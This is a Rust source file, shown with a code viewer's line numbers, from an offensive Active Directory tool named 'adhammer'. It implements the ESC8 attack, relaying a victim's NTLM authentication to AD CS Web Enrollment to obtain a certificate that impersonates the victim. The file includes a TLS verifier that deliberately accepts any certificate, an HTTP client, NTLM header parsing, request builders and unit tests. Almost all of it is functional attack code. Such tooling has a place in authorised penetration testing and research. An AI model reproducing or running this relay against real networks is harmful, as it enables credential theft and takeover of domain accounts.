adhammer 1.4.8

ADhammer — Active Directory security assessment and offensive tradecraft in Rust, with a from-scratch DCE/RPC · NTLM · SMB2 · Kerberos stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
//! **1.4.8-D WS-ESC8-END-TO-END.** ESC8 — NTLM-over-HTTP relay to AD CS Web
//! Enrollment.
//!
//! Given a victim's SMB NTLM (received via `smb2_client::server::RelayConn`), forward the
//! Type1/Type3 messages to the CA's `/certsrv` HTTP endpoint, submit a fresh CSR through the
//! authenticated channel, and download the issued certificate. The attacker then holds a
//! certificate whose subject/UPN authenticates as the victim — feed it to `attack abuse
//! --action pkinit` to obtain a TGT.
//!
//! **Validation status.** The wire pieces (HTTP/1.1 request builder, response parser,
//! NTLM-in-headers, form POST, ReqID scrape) are unit-tested. The end-to-end relay is
//! matrix-owed — it needs a live AD CS role with Web Enrollment installed.

use anyhow::{anyhow, Context, Result};
use rustls::client::danger::{HandshakeSignatureValid, ServerCertVerified, ServerCertVerifier};
use rustls::pki_types::{CertificateDer, ServerName, UnixTime};
use rustls::{ClientConfig, DigitallySignedStruct, RootCertStore, SignatureScheme};
use std::io::Write;
use std::sync::Arc;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;

// ----- HTTP/1.1 minimal client with keep-alive -----------------------------------------------

pub struct HttpsClient {
    stream: tokio_rustls::client::TlsStream<TcpStream>,
    host: String,
}

/// Skip TLS cert verification — AD CS often runs on a self-signed / internal-CA endpoint.
///
/// **1.4.8 rustls 0.23 migration:** `ServerCertVerifier` moved to the
/// `client::danger` module + gained `verify_tls12_signature` /
/// `verify_tls13_signature` / `supported_verify_schemes` methods (the trait
/// went from "just verify the chain" to "the full TLS-verification surface").
/// AcceptAny returns success from all three so no verification happens — the
/// AD CS relay path deliberately downgrades to "accept whatever the CA
/// presents" because AD CS commonly runs on a self-signed cert.
#[derive(Debug)]
struct AcceptAny;
impl ServerCertVerifier for AcceptAny {
    fn verify_server_cert(
        &self,
        _end_entity: &CertificateDer<'_>,
        _intermediates: &[CertificateDer<'_>],
        _server_name: &ServerName<'_>,
        _ocsp_response: &[u8],
        _now: UnixTime,
    ) -> std::result::Result<ServerCertVerified, rustls::Error> {
        Ok(ServerCertVerified::assertion())
    }
    fn verify_tls12_signature(
        &self,
        _message: &[u8],
        _cert: &CertificateDer<'_>,
        _dss: &DigitallySignedStruct,
    ) -> std::result::Result<HandshakeSignatureValid, rustls::Error> {
        Ok(HandshakeSignatureValid::assertion())
    }
    fn verify_tls13_signature(
        &self,
        _message: &[u8],
        _cert: &CertificateDer<'_>,
        _dss: &DigitallySignedStruct,
    ) -> std::result::Result<HandshakeSignatureValid, rustls::Error> {
        Ok(HandshakeSignatureValid::assertion())
    }
    fn supported_verify_schemes(&self) -> Vec<SignatureScheme> {
        vec![
            SignatureScheme::RSA_PKCS1_SHA256,
            SignatureScheme::RSA_PKCS1_SHA384,
            SignatureScheme::RSA_PKCS1_SHA512,
            SignatureScheme::ECDSA_NISTP256_SHA256,
            SignatureScheme::ECDSA_NISTP384_SHA384,
            SignatureScheme::RSA_PSS_SHA256,
            SignatureScheme::RSA_PSS_SHA384,
            SignatureScheme::RSA_PSS_SHA512,
            SignatureScheme::ED25519,
        ]
    }
}

impl HttpsClient {
    pub async fn connect(host: &str, port: u16, insecure: bool) -> Result<Self> {
        let cfg = if insecure {
            ClientConfig::builder()
                .dangerous()
                .with_custom_certificate_verifier(Arc::new(AcceptAny))
                .with_no_client_auth()
        } else {
            let mut roots = RootCertStore::empty();
            for c in rustls_native_certs::load_native_certs().certs {
                let _ = roots.add(c);
            }
            ClientConfig::builder()
                .with_root_certificates(roots)
                .with_no_client_auth()
        };
        let connector = tokio_rustls::TlsConnector::from(Arc::new(cfg));
        let tcp = TcpStream::connect((host, port)).await?;
        let sn = ServerName::try_from(host.to_string()).context("bad host name for TLS SNI")?;
        let stream = connector.connect(sn, tcp).await?;
        Ok(HttpsClient {
            stream,
            host: host.to_string(),
        })
    }

    /// Send a single HTTP/1.1 request on the persistent connection and read the full response.
    pub async fn send(
        &mut self,
        method: &str,
        path: &str,
        headers: &[(&str, &str)],
        body: &[u8],
    ) -> Result<HttpResponse> {
        let mut req: Vec<u8> = Vec::with_capacity(body.len() + 512);
        write!(&mut req, "{method} {path} HTTP/1.1\r\n")?;
        write!(&mut req, "Host: {}\r\n", self.host)?;
        write!(&mut req, "Connection: keep-alive\r\n")?;
        write!(&mut req, "Content-Length: {}\r\n", body.len())?;
        for (k, v) in headers {
            write!(&mut req, "{k}: {v}\r\n")?;
        }
        req.extend_from_slice(b"\r\n");
        req.extend_from_slice(body);
        self.stream.write_all(&req).await?;
        self.stream.flush().await?;
        read_response(&mut self.stream).await
    }
}

pub struct HttpResponse {
    pub status: u16,
    pub headers: Vec<(String, String)>,
    pub body: Vec<u8>,
}

impl HttpResponse {
    pub fn header(&self, name: &str) -> Option<&str> {
        self.headers
            .iter()
            .find(|(k, _)| k.eq_ignore_ascii_case(name))
            .map(|(_, v)| v.as_str())
    }
}

/// Per-op deadline for a single AD CS Web Enrollment HTTP round-trip. A
/// hostile / slow CA could otherwise dribble bytes and hang the relay
/// window (~60 s is what an operator would tolerate before ctrl-c'ing).
const ADCS_HTTP_READ_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(60);

/// Read one HTTP/1.1 response from the stream: status line + headers (delimited by `\r\n\r\n`),
/// then body per `Content-Length`. Chunked transfer-encoding not implemented — AD CS certsrv
/// uses fixed lengths in every response the ESC8 flow touches.
///
/// **1.4.8 hostile-server DoS defence:** the whole read is capped at
/// [`ADCS_HTTP_READ_TIMEOUT`].
async fn read_response<R: AsyncReadExt + Unpin>(r: &mut R) -> Result<HttpResponse> {
    tokio::time::timeout(ADCS_HTTP_READ_TIMEOUT, read_response_inner(r))
        .await
        .map_err(|_| {
            anyhow!(
                "AD CS HTTP read timed out after {}s (hostile-server DoS defence)",
                ADCS_HTTP_READ_TIMEOUT.as_secs()
            )
        })?
}

async fn read_response_inner<R: AsyncReadExt + Unpin>(r: &mut R) -> Result<HttpResponse> {
    let mut buf = Vec::with_capacity(4096);
    let mut chunk = [0u8; 4096];
    // Read until we see \r\n\r\n.
    let header_end = loop {
        let n = r.read(&mut chunk).await?;
        if n == 0 {
            return Err(anyhow!("connection closed before headers"));
        }
        buf.extend_from_slice(&chunk[..n]);
        if let Some(pos) = find_header_end(&buf) {
            break pos;
        }
        if buf.len() > 64 * 1024 {
            return Err(anyhow!("HTTP headers > 64KiB — aborting"));
        }
    };
    let (head, tail_after) = buf.split_at(header_end);
    let head_str = std::str::from_utf8(head).context("non-UTF8 HTTP headers")?;
    let (status, headers) = parse_head(head_str)?;
    let mut body = tail_after[4..].to_vec(); // skip the \r\n\r\n
    let content_len: usize = headers
        .iter()
        .find(|(k, _)| k.eq_ignore_ascii_case("Content-Length"))
        .and_then(|(_, v)| v.parse().ok())
        .unwrap_or(0);
    while body.len() < content_len {
        let n = r.read(&mut chunk).await?;
        if n == 0 {
            break;
        }
        body.extend_from_slice(&chunk[..n]);
    }
    body.truncate(content_len);
    Ok(HttpResponse {
        status,
        headers,
        body,
    })
}

fn find_header_end(buf: &[u8]) -> Option<usize> {
    buf.windows(4).position(|w| w == b"\r\n\r\n")
}

fn parse_head(s: &str) -> Result<(u16, Vec<(String, String)>)> {
    let mut lines = s.split("\r\n");
    let status_line = lines.next().context("empty response")?;
    // "HTTP/1.1 200 OK"
    let status: u16 = status_line
        .split_whitespace()
        .nth(1)
        .and_then(|s| s.parse().ok())
        .context("bad status line")?;
    let mut headers = Vec::new();
    for l in lines {
        if l.is_empty() {
            break;
        }
        if let Some((k, v)) = l.split_once(':') {
            headers.push((k.trim().to_string(), v.trim().to_string()));
        }
    }
    Ok((status, headers))
}

// ----- ESC8 flow -----------------------------------------------------------------------------

/// Extract the NTLM Type-2 (base64) from a `WWW-Authenticate: NTLM <b64>` header.
pub fn parse_ntlm_challenge(www_auth: &str) -> Option<Vec<u8>> {
    // The header value may list multiple schemes; find the NTLM entry.
    for entry in www_auth.split(',') {
        let e = entry.trim();
        if let Some(rest) = e.strip_prefix("NTLM ") {
            return base64_decode(rest.trim());
        }
    }
    None
}

/// Extract the certificate Request ID from the ASP response HTML. AD CS emits
/// `ReqID=<n>` in a `location.href="certnew.cer?ReqID=..."` line or similar.
pub fn parse_request_id(html: &str) -> Option<u32> {
    let key = "ReqID=";
    let at = html.find(key)?;
    let tail = &html[at + key.len()..];
    let end = tail
        .find(|c: char| !c.is_ascii_digit())
        .unwrap_or(tail.len());
    tail[..end].parse().ok()
}

/// Build the form-encoded body AD CS Web Enrollment expects.
/// `csr_pem` is the PEM-armored PKCS#10.
pub fn cert_request_form(csr_pem: &str, template: &str) -> String {
    let attrs = format!("CertificateTemplate:{template}");
    // AD CS decodes these on the server side; the encoded CSR must include newlines.
    let mut out = String::new();
    out.push_str("Mode=newreq");
    out.push_str("&CertRequest=");
    out.push_str(&url_encode(csr_pem));
    out.push_str("&CertAttrib=");
    out.push_str(&url_encode(&attrs));
    out.push_str("&TargetStoreFlags=0");
    out.push_str("&SaveCert=yes");
    out.push_str("&ThumbPrint=");
    out
}

/// application/x-www-form-urlencoded encoder — the small alphabet AD CS's ASP handler cares about.
fn url_encode(s: &str) -> String {
    let mut out = String::with_capacity(s.len());
    for b in s.bytes() {
        match b {
            b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => {
                out.push(b as char)
            }
            b' ' => out.push('+'),
            _ => out.push_str(&format!("%{b:02X}")),
        }
    }
    out
}

// ----- tiny base64 (avoid pulling a whole crate for this one thing) --------------------------

const B64: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

pub fn base64_encode(b: &[u8]) -> String {
    let mut out = String::with_capacity(b.len().div_ceil(3) * 4);
    for chunk in b.chunks(3) {
        let (a, b1, c) = (
            chunk[0] as u32,
            chunk.get(1).copied().unwrap_or(0) as u32,
            chunk.get(2).copied().unwrap_or(0) as u32,
        );
        let n = (a << 16) | (b1 << 8) | c;
        out.push(B64[((n >> 18) & 0x3f) as usize] as char);
        out.push(B64[((n >> 12) & 0x3f) as usize] as char);
        out.push(if chunk.len() > 1 {
            B64[((n >> 6) & 0x3f) as usize] as char
        } else {
            '='
        });
        out.push(if chunk.len() > 2 {
            B64[(n & 0x3f) as usize] as char
        } else {
            '='
        });
    }
    out
}

pub fn base64_decode(s: &str) -> Option<Vec<u8>> {
    let s: Vec<u8> = s.bytes().filter(|b| !b.is_ascii_whitespace()).collect();
    let mut out = Vec::with_capacity(s.len() * 3 / 4);
    let idx = |c: u8| -> Option<u32> {
        match c {
            b'A'..=b'Z' => Some((c - b'A') as u32),
            b'a'..=b'z' => Some((c - b'a' + 26) as u32),
            b'0'..=b'9' => Some((c - b'0' + 52) as u32),
            b'+' => Some(62),
            b'/' => Some(63),
            _ => None,
        }
    };
    for chunk in s.chunks(4) {
        if chunk.len() < 2 {
            return None;
        }
        let a = idx(chunk[0])?;
        let b = idx(chunk[1])?;
        let c = if chunk.len() > 2 && chunk[2] != b'=' {
            Some(idx(chunk[2])?)
        } else {
            None
        };
        let d = if chunk.len() > 3 && chunk[3] != b'=' {
            Some(idx(chunk[3])?)
        } else {
            None
        };
        let n = (a << 18) | (b << 12) | (c.unwrap_or(0) << 6) | d.unwrap_or(0);
        out.push((n >> 16) as u8);
        if c.is_some() {
            out.push((n >> 8) as u8);
        }
        if d.is_some() {
            out.push(n as u8);
        }
    }
    Some(out)
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn base64_roundtrip_including_pad() {
        for msg in [b"".as_slice(), b"a", b"ab", b"abc", b"abcdef", &[0, 1, 255]] {
            assert_eq!(base64_decode(&base64_encode(msg)).unwrap(), msg);
        }
    }

    #[test]
    fn ntlm_challenge_extracted_from_www_authenticate() {
        let hdr = "Negotiate, NTLM TlRMTVNTUAACAAAA";
        let t2 = parse_ntlm_challenge(hdr).unwrap();
        assert_eq!(&t2[..8], b"NTLMSSP\0"); // first 8 bytes of an NTLM Type-2 message
    }

    #[test]
    fn request_id_scraped_from_asp_response() {
        let html = r#"<script>location.href="certnew.cer?ReqID=42&Enc=b64"</script>"#;
        assert_eq!(parse_request_id(html), Some(42));
    }

    #[test]
    fn form_encodes_csr_pem_and_template() {
        let form = cert_request_form("-----BEGIN CERTIFICATE REQUEST-----\nabc\n", "User");
        assert!(form.starts_with("Mode=newreq"));
        assert!(form.contains("CertRequest="));
        assert!(form.contains("CertificateTemplate%3AUser"));
    }

    #[test]
    fn parse_head_extracts_status_and_headers() {
        let s = "HTTP/1.1 401 Unauthorized\r\nWWW-Authenticate: NTLM abc\r\nContent-Length: 0\r\n";
        let (st, hs) = parse_head(s).unwrap();
        assert_eq!(st, 401);
        assert_eq!(hs.len(), 2);
        assert!(hs
            .iter()
            .any(|(k, v)| k == "WWW-Authenticate" && v == "NTLM abc"));
    }
}